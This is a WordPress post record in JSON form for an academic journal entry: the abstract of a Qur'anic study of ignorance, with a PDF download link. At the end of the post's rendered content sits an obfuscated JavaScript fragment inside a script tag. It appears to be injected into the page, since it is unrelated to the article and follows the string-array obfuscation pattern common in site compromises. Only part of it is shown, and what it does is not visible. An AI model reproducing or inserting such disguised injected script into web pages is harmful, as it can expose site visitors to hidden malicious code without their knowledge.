{"id":1785,"date":"2022-04-04T14:48:36","date_gmt":"2022-04-04T14:48:36","guid":{"rendered":"https:\/\/syskuipsv2.my\/journalfqs\/?p=1785"},"modified":"2023-07-17T14:41:06","modified_gmt":"2023-07-17T14:41:06","slug":"journal-vol1-issue1-article-1-1-6","status":"publish","type":"post","link":"https:\/\/syskuipsv2.my\/journalfqs\/2022\/04\/04\/journal-vol1-issue1-article-1-1-6\/","title":{"rendered":"Qur&#8217;an talks about ignorance. (Objective study)"},"content":{"rendered":"\n<p>Author: Dr. Ghazi Wasl Salem Al-Zibyani<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><strong>Abstract<\/strong><\/h4>\n\n\n\n<p>This paper attempts to analyze Qur\u2019anic verses dealing ignorance. This includes concept, derivatives words, diversity, causes, textual evidence, methods of treatment, impactful effect, and consequences of those who ignore against normative guidance of the revelation. The study reached into the results that it comprises complexity and simplicity of ignorance. The first needs thorough study of its causes and effect while the second is easier to offer the remedy over the issue.<br><br>The term ignorance is mentioned in the Qur\u2019an in many derivatives words. It is not limited with certain period of time rather it applies to every single circumstance as long as humanity are not willing to be governed with the use of divine guidance. It also includes conceptual framework, superstitious belief, behavioral conduct, and methodological commitment that contradicts against the truth and rationalism. The Qur\u2019an guides humanity to come out from ignorance through seeking the knowledge based on the Qur\u2019an and the Sunnah as elucidated by prominent Muslim scholars.<br><br><strong>Keywords: <\/strong>Ignorance &#8211; causes &#8211; knowledge- effects &#8211; the Holy Qur&#8217;an<\/p>\n\n\n\n<p><strong><a href=\"https:\/\/syskuipsv2.my\/journalfqs\/wp-content\/uploads\/2023\/04\/\u062d\u062f\u064a\u062b-\u0627\u0644\u0642\u0631\u0622\u0646-\u0639\u0646-\u0627\u0644\u062c\u0647\u0644-\u062f\u0631\u0627\u0633\u0629-\u0645\u0648\u0636\u0648\u0639\u064a\u0629.pdf\" target=\"_blank\" rel=\"noreferrer noopener\">Download [PDF]<\/a><\/strong><\/p>\n\r\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}<\/script>","protected":false},"excerpt":{"rendered":"<p>Dr. Ghazi Wasl Salem Al-Zibyani<\/p>\n<p>\n<a href=\"https:\/\/syskuipsv2.my\/journalfqs\/wp-content\/uploads\/2023\/04\/\u062d\u062f\u064a\u062b-\u0627\u0644\u0642\u0631\u0622\u0646-\u0639\u0646-\u0627\u0644\u062c\u0647\u0644-\u062f\u0631\u0627\u0633\u0629-\u0645\u0648\u0636\u0648\u0639\u064a\u0629.pdf\" target=\"_blank\" rel=\"noopener\">Download [PDF]<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center 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